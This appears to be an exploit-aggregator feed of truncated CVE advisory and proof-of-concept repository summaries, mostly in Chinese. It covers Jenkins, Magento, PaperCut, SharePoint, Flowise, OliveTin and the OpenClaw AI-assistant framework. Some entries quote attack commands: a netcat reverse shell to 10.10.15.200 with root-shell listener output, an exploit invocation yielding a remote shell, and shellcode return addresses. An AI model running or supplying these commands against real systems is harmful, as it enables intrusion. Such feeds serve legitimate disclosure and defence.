EUVD-2026-80747

Jenkins Script Security Plugin 1415.v9af9b3ac253d and earlier does not intercept operations performed on a null receiver method calls, property and attribute accesses, and array accesses, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the...

CVE-2026-92123

Jenkins Script Security Plugin 1415.v9af9b3ac253d and earlier does not intercept operations performed on a null receiver method calls, property and attribute accesses, and array accesses, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the...

CVE-2026-92123

Jenkins Script Security Plugin versions 1415.v9a_f9b_3a_c253d and earlier fail to intercept operations performed on a null receiver (method calls, property/attribute accesses, and array accesses). Attackers with permission to define and run sandboxed scripts, including Pipelines, can bypass the s...

EUVD-2026-80746

Jenkins Script Security Plugin 1415.v9af9b3ac253d and earlier does not check the method called through the proxy created when a sandboxed script coerces a value to an interface, if the value inherits a method of the same name as an interface method, allowing attackers with permission to define an...

CVE-2026-92122

The Jenkins Script Security Plugin (≤ 1415.v9a_f9b_3a_c253d ) contains a sandbox bypass vulnerability. When a sandboxed Groovy script coerces a value to an interface, Groovy creates a proxy that forwards interface method calls to a method of the same name on that value. The plugin fails to check ...

CVE-2026-39387

CVE-2026-39387 — BoidCMS 认证文件上传至模板注入 RCE 描述 BoidCMS -l -p 参数 示例 root@kitploit: python3 CVE-2026-39387.py -u http://target.com -l admin -p password123 漏洞利用完成后，将提供一个交互式 shell 提示符（cmd ）用于在远程主机上执行命令。 漏洞利用流程 root@kitploit: 1. 登录 → POST /admin （带 CSRF token） 2. 上传 shell → POST /admin?page=media （包含 PHP...

Magneto-PolyShell

Magento 2 RCE 漏洞利用 - 未认证文件上传到 RCE ⚠️ 此工具仅用于教育和授权安全测试。未经授权对非您拥有的系统使用本工具属违法行为。 该漏洞利用针对 Magento 2 （Adobe Commerce）中的一个严重未认证远程代码执行（RCE）漏洞。通过将 GraphQL 产品查询、访客购物车创建以及通过自定义产品选项上传恶意文件进行链式利用，攻击者可以上传 PHP webshell 并在目标服务器上执行任意代码。 该漏洞允许远程攻击者将一个 PHP 文件写入服务器文件系统，然后访问该文件以执行系统命令、读取/写入文件，并完全入侵 Magento 安装。 功能特性 多线程...

CVE-2026-61590 djust's observability endpoints are network-exposed: the localhost gate is an opt-in middleware the docs omit, and the views enforce only DEBUG

djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, djust's observability endpoints expose live view/session state and a remote method-invocation surface evalhandler. The localhost restriction was an opt-in...

djust's observability endpoints are network-exposed: the localhost gate is an opt-in middleware the docs omit, and the views enforce only DEBUG

Impact djust's observability endpoints expose live view/session state and a remote method-invocation surface evalhandler. The localhost restriction was an opt-in middleware that the documented setup omits; the views themselves enforced only DEBUG. In the misconfigured-but-documented scenario DEBU...

libevent: Libevent: Arbitrary code execution via heap out-of-bounds write in AF_UNIX handling

A flaw was found in Libevent. A heap out-of-bounds write vulnerability in the buffereventsocketsetconnaddress function allows an unauthenticated local peer to achieve arbitrary code execution. By connecting to an AFUNIX listener, an attacker can overwrite critical heap data, leading to memory...

Important: Red Hat Security Advisory: libevent security update

An update for libevent is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE 针对 Flowise 版本 &1|nc 10.10.15.200 443 /tmp/f' 检查监听器，它应该会工作: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

PaperCut-Authentication_Bypass_and_RCE

CVE-2023-27350 — PaperCut NG/MF 认证绕过与远程代码执行 针对 PaperCut NG/MF 中关键认证绕过和远程代码执行漏洞的独立 Python 利用工具。CVSS 评分 9.8。 描述 CVE-2023-27350 影响 20.1.7、21.2.11 和 22.0.9 之前的 PaperCut NG 和 MF 版本。该漏洞允许未经身份验证的攻击者访问 /app?service=page/SetupCompleted 端点——一个本应仅在初始安装期间可访问的设置页面——并在没有任何凭据的情况下获取有效的管理会话。 拥有管理员权限后，攻击者可以启用...

CVE-2026-63520

CVE-2026-63520 SharePoint 不安全类型 RCE + CVE-2026-55040 链 Microsoft SharePoint Server 上的未认证 RCE。无需任何凭据。 Stephen Fewer（Rapid7）在 Pwn2Own Berlin 2026 上演示了 CVE-2026-55040。Rapid7 随后在后续研究中发现了 CVE-2026-63520，VulnCheck 则独立发现了一条替代 gadget 链。这两个漏洞组合在一起，可让您对互联网上任何未打补丁的 SharePoint 实现未认证远程代码执行。 CISA 在 PoC...

CVE-2020-15568

CVE-2020-15568 一个针对CVE-2020-15568的快速简便的概念验证（POC）。 未经测试，但基于在此找到的信息：https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...

VLC-CVE-2008-4654-Exploit

VLC-CVE-2008-4654-利用 嗯，这只是一个旧漏洞，其CVE编号是CVE-2008-4654。该漏洞由 modules/demux/ty.c 第1650行的内存不足导致。 root@kitploit: streamReadpdemux-s, mstbuf, 8 + imapsize; 当我从其他网站下载EXP时，发现它在我的Windows 7 Ultimate x64上无法正确运行。所以我将返回地址从0x68f0cfad改为0x6a314b52，然后就成功了！ 旧版： root@kitploit: 0x68f0cfad : jmp esp PAGEEXECUTEREAD...

CVE-2025-65741

CVE-2025-65741 - macOS 上 Sublime Text 3 存在 Dylib 注入漏洞 root@kitploit: 下载地址：https://www.sublimetext.com/3 CVE：CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741 作者：Vinicius Batistella 影响版本：Sublime Text 3 Build 3208 及更早版本（macOS） 详情 Sublime Text 应用未能正确检查未签名的代码注入，攻击者可以编译一个 .dylib...

proftpd-CVE-2026-42167-analysis

CVE-2026-42167 — Inyección SQL / Bypass de Autenticación / RCE en ProFTPD modsql Reproducción independiente, análisis del código fuente a nivel de causa raíz y un análisis de exposición franco para CVE-2026-42167 — el bypass de isescapedtext en la canalización de registro de modsql de ProFTPD,...

CVE-2026-25253

CVE-2026-25253：OpenClaw 中通过认证令牌窃取实现一键 RCE 受影响软件： OpenClaw clawbot 法律免责声明： 本代码及分析文章仅供授权的安全研究和教育目的使用。在未经明确书面许可的情况下，针对系统使用此漏洞利用工具属于非法且不道德的行为。作者对任何滥用行为不承担任何责任。 技术背景 OpenClaw（前身为 Clawdbot ，早期版本中称为 Moltbot ）是一个在 macOS、Windows 或 Linux 上本地运行的 AI 助手框架。它支持 Anthropic 和 OpenAI 等云端模型，也支持本地模型。 Control UI...

CVE-2026-30225-OliveTin-RCE

OliveTin — 未认证操作执行 → RCE（+ CVE-2026-30225） 针对以出厂 guest 默认配置运行的 OliveTin 实例的提权 / 远程代码执行 PoC。已在 以 root 身份运行的 OliveTin 3000.10.0 （HTB: Enigma ）上验证，可获取未认证的 root shell。 ⚠️ 仅限授权测试。 发布目的为教育、CTF 练习与防御性研究。针对非您所有或未经明确书面许可的系统使用本工具属违法行为。不提供任何担保。参见 LICENSE。 漏洞 A. Guest 可执行操作（不安全的默认配置） OliveTin 的示例 / 默认配置包含：...